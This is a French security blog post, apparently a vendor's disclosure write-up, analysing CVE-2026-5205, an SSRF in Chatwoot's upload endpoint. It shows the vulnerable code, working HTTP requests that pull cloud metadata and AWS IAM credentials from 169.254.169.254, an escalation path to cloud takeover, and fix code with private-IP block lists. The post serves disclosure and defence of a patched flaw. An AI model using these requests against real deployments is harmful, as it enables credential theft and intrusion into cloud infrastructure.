Neutron, notre moteur d’IA, a obtenu un score de 96,75 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Sécurité

Sécurité

CVE-2026-5205 : SSRF critique dans les uploads de Chatwoot

Analyse approfondie d'une vulnérabilité critique de falsification de requête côté serveur (SSRF) dans le endpoint d'upload de Chatwoot (≤ v4.12.1). Le endpoint /api/v1/accounts/:id/upload accepte un paramètre external_url validé uniquement par une vérification du schéma, ce qui permet à n'importe quel agent authentifié de forcer le serveur à récupérer des URL internes arbitraires. Le corps complet de la réponse est renvoyé directement via les blobs ActiveStorage, ce qui transforme le endpoint d'upload en proxy de lecture complet. Une exploitation réelle sur un droplet DigitalOcean a confirmé l'exfiltration directe de métadonnées cloud, dont l'identifiant du droplet, le nom d'hôte, les clés publiques SSH et les ensembles complets de métadonnées. Corrigée dans la v4.13.0.

CVE-2026-5205

Chatwoot : SSRF critique dans /api/v1/accounts/:id/upload

26 mars 2026 · CWE-918 · Chatwoot ≤ v4.12.1

Champ Détails
Faiblesse CWE-918 : Server-Side Request Forgery
Sévérité Élevée
Versions affectées Chatwoot ≤ v4.12.1
Corrigée dans v4.13.0
Authentification Agent (rôle le moins privilégié)
Composant affecté app/controllers/api/v1/accounts/upload_controller.rb

L'histoire

Tout a commencé par un endpoint d'upload et un paramètre auquel il ne fallait pas faire confiance.

Chez Ostorlab, j'examinais le code de Chatwoot, la plateforme open source d'engagement client qui se positionne comme une alternative à Intercom. En suivant les flux de données dans l'application, je suis tombé sur le contrôleur d'upload. Le endpoint /api/v1/accounts/:id/upload accepte un paramètre external_url : vous lui donnez une URL, et le serveur récupère la ressource, la stocke sous forme de blob ActiveStorage et vous renvoie un file_url pour télécharger le résultat.

La question s'est immédiatement posée : qu'est-ce qui l'empêche de récupérer http://169.254.169.254/?

La réponse : rien. Une seule fonction, validate_uri, se tenait entre l'entrée utilisateur et une requête HTTP sortante. Elle vérifiait le schéma de l'URL. C'est tout. Aucune validation du nom d'hôte. Aucun blocage de plages d'adresses IP. Aucune protection contre le DNS rebinding. Le serveur récupérait volontiers n'importe quelle URL http:// ou https:// pour stocker la réponse et la renvoyer à l'appelant.

Et contrairement aux vulnérabilités SSRF aveugles, où l'attaquant doit déduire la réponse par des canaux auxiliaires, celle-ci renvoie le corps complet de la réponse directement via le blob ActiveStorage. Pas d'exfiltration hors bande nécessaire. Pas d'attaques par mesure du temps de réponse. Le serveur récupère, stocke et vous remet les données sur un plateau d'argent.

J'ai déployé une image chatwoot/chatwoot:latest non modifiée sur un droplet DigitalOcean et confirmé toute la chaîne d'exploitation : six requêtes consécutives vers le service de métadonnées, chacune renvoyant de vraies données d'infrastructure via l'URL du blob. L'identifiant du droplet. Le nom d'hôte. L'adresse IP publique. Les clés publiques SSH. L'ensemble complet des métadonnées au format JSON. Le tout lisible avec une simple requête GET.

La vulnérabilité a été soumise à l'équipe de sécurité de Chatwoot via un GitHub Security Advisory. Celle-ci a confirmé que le problème avait déjà été signalé et corrigé dans la v4.13.0. Cet article documente la vulnérabilité telle que je l'ai trouvée : le code vulnérable, la chaîne d'exploitation et la preuve en conditions réelles sur une infrastructure réelle.

La vulnérabilité : SSRF via le paramètre external_url (CVE-2026-5205)

Le point d'entrée dangereux (sink)

Le endpoint d'upload de Chatwoot, /api/v1/accounts/:id/upload, accepte un paramètre external_url. Le serveur récupère l'URL côté serveur avec open-uri de Ruby, stocke le corps de la réponse sous forme de blob ActiveStorage et renvoie directement l'URL du blob à l'appelant. L'attaquant peut alors suivre le file_url pour lire la réponse brute du serveur distant : une exfiltration directe et complète.

Suivre le flux de données

Le code vulnérable se trouve dans app/controllers/api/v1/accounts/upload_controller.rb :

def validate_uri(uri)
  raise URI::InvalidURIError unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
end

def fetch_and_process_file_from_uri(uri)
  uri.open do |file|   # open-uri fetches ANY http(s) URL incl. 169.254.169.254
    create_and_save_blob(file, File.basename(uri.path), file.content_type)
  end
end

C'est tout. validate_uri vérifie que l'URL utilise http:// ou https:// — et rien d'autre. Aucune validation du nom d'hôte. Aucun contrôle des plages d'adresses IP. Aucune liste d'autorisation. http://169.254.169.254/metadata/v1/id passe cette vérification sans même un second regard.

uri.open (de open-uri) effectue une véritable requête HTTP GET vers n'importe quelle URL qui passe la vérification du schéma. La réponse est consommée par create_and_save_blob, qui stocke le corps brut sous forme de blob ActiveStorage. Le file_url du blob est renvoyé dans la réponse JSON, ce qui donne à l'attaquant un accès direct au corps complet de la réponse du serveur distant.

Le serveur répond avec :

{ "file_url": "...", "blob_id": "..." }

Suivre file_url renvoie le corps brut de la réponse distante. C'est tout le canal d'exfiltration, intégré au flux de réponse normal de l'application.

L'ironie : le code Enterprise est protégé, pas le cœur

L'ironie est cruelle. L'édition Enterprise de Chatwoot contient déjà une véritable protection contre la SSRF dans enterprise/lib/captain/tools/http_tool.rb :

PRIVATE_IP_RANGES = [
  IPAddr.new('127.0.0.0/8'),    # IPv4 Loopback
  IPAddr.new('10.0.0.0/8'),     # IPv4 Private network
  IPAddr.new('172.16.0.0/12'),  # IPv4 Private network
  IPAddr.new('192.168.0.0/16'), # IPv4 Private network
  IPAddr.new('169.254.0.0/16'), # IPv4 Link-local (cloud metadata)
  IPAddr.new('::1'),            # IPv6 Loopback
  IPAddr.new('fc00::/7'),       # IPv6 Unique local addresses
  IPAddr.new('fe80::/10')       # IPv6 Link-local
].freeze

def check_private_ip!(hostname)
  ip_address = IPAddr.new(Resolv.getaddress(hostname))
  raise 'Request blocked: hostname resolves to private IP address' if
    PRIVATE_IP_RANGES.any? { |range| range.include?(ip_address) }
end

Couverture complète des adresses IP privées. Résolution DNS avant la vérification. Exactement ce dont validate_uri avait besoin. Mais cette protection était confinée au module d'outils d'IA Enterprise, et n'a jamais été appliquée au contrôleur d'upload, laissant le chemin de téléchargement external_url grand ouvert.

Le correctif se trouvait dans la même base de code. Il n'était simplement pas branché.

Exploitation réelle : droplet DigitalOcean

J'ai testé cette vulnérabilité sur un déploiement chatwoot/chatwoot:latest non modifié, sur un droplet DigitalOcean. Aucune configuration particulière, aucun paramètre modifié : uniquement le docker-compose.production.yaml par défaut. Les résultats parlent d'eux-mêmes.

Environnement de test

Propriété Valeur
Fournisseur DigitalOcean
Région lon1
ID du droplet 552923997
Nom d'hôte ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01
IP publique 167.99.195.252
Image chatwoot/chatwoot:latest (docker-compose.production.yaml par défaut)
Attaquant agent@acme.test (rôle 0 : agent, non administrateur)

Étape 1 : s'authentifier avec l'agent le moins privilégié

POST /auth/sign_in HTTP/1.1
Content-Type: application/json

{"email":"agent@acme.test","password":"Password1!"}

En-têtes de la réponse capturés :

access-token: zNicAlY5gBHQvFSspta63g
client:       KHysYvoMt2zIkl4yAiJM5Q
uid:          agent@acme.test
token-type:   Bearer

L'attaquant n'a pas besoin d'un accès administrateur. Le rôle d'agent, le moins privilégié, suffit pour atteindre le endpoint d'upload.

Étape 2 : envoyer des requêtes SSRF au service de métadonnées de DigitalOcean

Les six requêtes utilisent le même modèle authentifié :

POST /api/v1/accounts/1/upload HTTP/1.1
Host: 167.99.195.252:3000
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data

external_url=<TARGET>

Le serveur répond avec { "file_url": "...", "blob_id": "..." }. Suivre file_url renvoie le corps brut de la réponse distante : la réponse complète du service de métadonnées.

Résultats : six requêtes consécutives d'exfiltration de métadonnées

# Cible external_url Corps du blob renvoyé
1 http://169.254.169.254/metadata/v1/id 552923997
2 http://169.254.169.254/metadata/v1/hostname ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01
3 http://169.254.169.254/metadata/v1/region lon1
4 http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address 167.99.195.252
5 http://169.254.169.254/metadata/v1/public-keys ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDGORTi7ekb1WsK+3qrDp4IKdaRt/OoAVf0SNSAGuMGd soop@soop
6 http://169.254.169.254/metadata/v1.json Ensemble complet des métadonnées DO (droplet_id, vendor_data cloud-init, public_keys, interfaces, dns, …)

Chaque réponse, qu'il s'agisse de l'identifiant du droplet, du nom d'hôte, de l'adresse IP publique, de la clé publique SSH ou du JSON complet des métadonnées, est revenue via le blob ActiveStorage, lisible par l'attaquant avec un simple GET sur le file_url.

Exemple complet de requête et de réponse : exfiltration de l'identifiant du droplet

Requête :

POST /api/v1/accounts/1/upload HTTP/1.1
Host: 167.99.195.252:3000
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data

external_url=http://169.254.169.254/metadata/v1/id

Réponse :

{
  "file_url": "http://167.99.195.252:3000/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368/id",
  "blob_id": "eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368"
}

Récupération du file_url :

552923997

L'identifiant du droplet, confirmé dans le panneau de contrôle de DigitalOcean. Des données réelles, exfiltrées directement, depuis une installation Chatwoot par défaut.

Escalade : de la SSRF à la prise de contrôle d'un compte cloud

AWS IMDSv1 : le pire scénario

Sur les instances hébergées sur AWS EC2, ECS, Lambda ou Elastic Beanstalk avec IMDSv1, cette SSRF devient une voie directe vers la prise de contrôle complète du compte cloud :

POST /api/v1/accounts/1/upload HTTP/1.1
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data

external_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

Le service de métadonnées renvoie les identifiants IAM complets et, comme la SSRF de l'upload renvoie directement le corps complet de la réponse, l'attaquant les lit directement depuis le file_url :

{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "AQoXnyc4lcK4w...",
  "Expiration": "2026-04-01T00:00:00Z"
}

La suite de l'escalade :

SSRF → AWS IMDSv1 credentials
     → Attacker has AWS IAM role keys
     → Role has S3/EC2/Lambda/ECS permissions
     → Deploy backdoor Lambda / modify EC2 user data
     → Full RCE on cloud infrastructure

Impact

Scénario Impact
AWS IMDSv1 (sans limite de sauts) Critique : vol des identifiants du rôle IAM, prise de contrôle complète du compte AWS
API de métadonnées GCP Critique : vol des jetons OAuth du compte de service
Azure IMDS Critique : vol des jetons d'identité managée
Métadonnées DigitalOcean Élevé : vol de jetons cloud, de clés SSH et de données utilisateur
Pivot sur le réseau interne Élevé : attaque de Redis, des interfaces d'administration Postgres, de Sidekiq Web, de l'API K8s et des microservices internes
Exfiltration de secrets Élevé : lecture des endpoints internes de debug et de santé
Élévation de privilèges Élevé : les identifiants cloud volés donnent accès à bien plus que Chatwoot

Le correctif de la CVE-2026-5205

La vulnérabilité a été corrigée dans Chatwoot v4.13.0. L'avis de référence est suivi sous GHSA-6fj9-gj7h-q2hf.

Approche recommandée : valider l'IP résolue avant la récupération

Le correctif devrait valider l'adresse IP résolue par rapport aux plages privées avant que open-uri n'effectue la requête :

require 'resolv'

PRIVATE_IP_PATTERNS = [
  /\A127\./, /\A10\./, /\A172\.(1[6-9]|2\d|3[01])\./,
  /\A192\.168\./, /\A169\.254\./, /\Afc00:/i, /\Afe80:/i
].freeze

def validate_uri(uri)
  raise URI::InvalidURIError unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
  resolved = Resolv.getaddress(uri.host) rescue nil
  raise URI::InvalidURIError, 'SSRF: internal host blocked' if resolved && PRIVATE_IP_PATTERNS.any? { |p| p.match?(resolved) }
end

Atténuation côté cloud : activer IMDSv2

Sur AWS, imposez IMDSv2, qui exige un PUT avec un en-tête de jeton que open-uri ne peut pas forger :

aws ec2 modify-instance-metadata-options \
  --instance-id i-xxxx \
  --http-tokens required \
  --http-put-response-hop-limit 1

Il s'agit d'une mesure d'atténuation, pas d'un correctif : l'accès aux services internes reste possible, quel que soit IMDSv2.

Chronologie

Date Événement
2026-03-26 Vulnérabilité découverte lors d'une revue de code source
2026-03-26 Confirmée par une exploitation réelle sur un droplet DigitalOcean (v4.12.1)
2026-03-26 Rapport soumis via GitHub Security Advisory
2026-04-22 L'équipe Chatwoot a confirmé que le problème avait déjà été signalé et corrigé dans la v4.13.0
2026-04-22 Avis clôturé : suivi de référence sous GHSA-6fj9-gj7h-q2hf

Références

Ressource Lien
Avis de référence GHSA-6fj9-gj7h-q2hf
CWE-918 : Server-Side Request Forgery https://cwe.mitre.org/data/definitions/918.html
OWASP SSRF Prevention Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
AWS IMDSv1 Exploitation https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html
Chatwoot Security Reporting Guidelines https://developers.chatwoot.com/contributing-guide/security-reports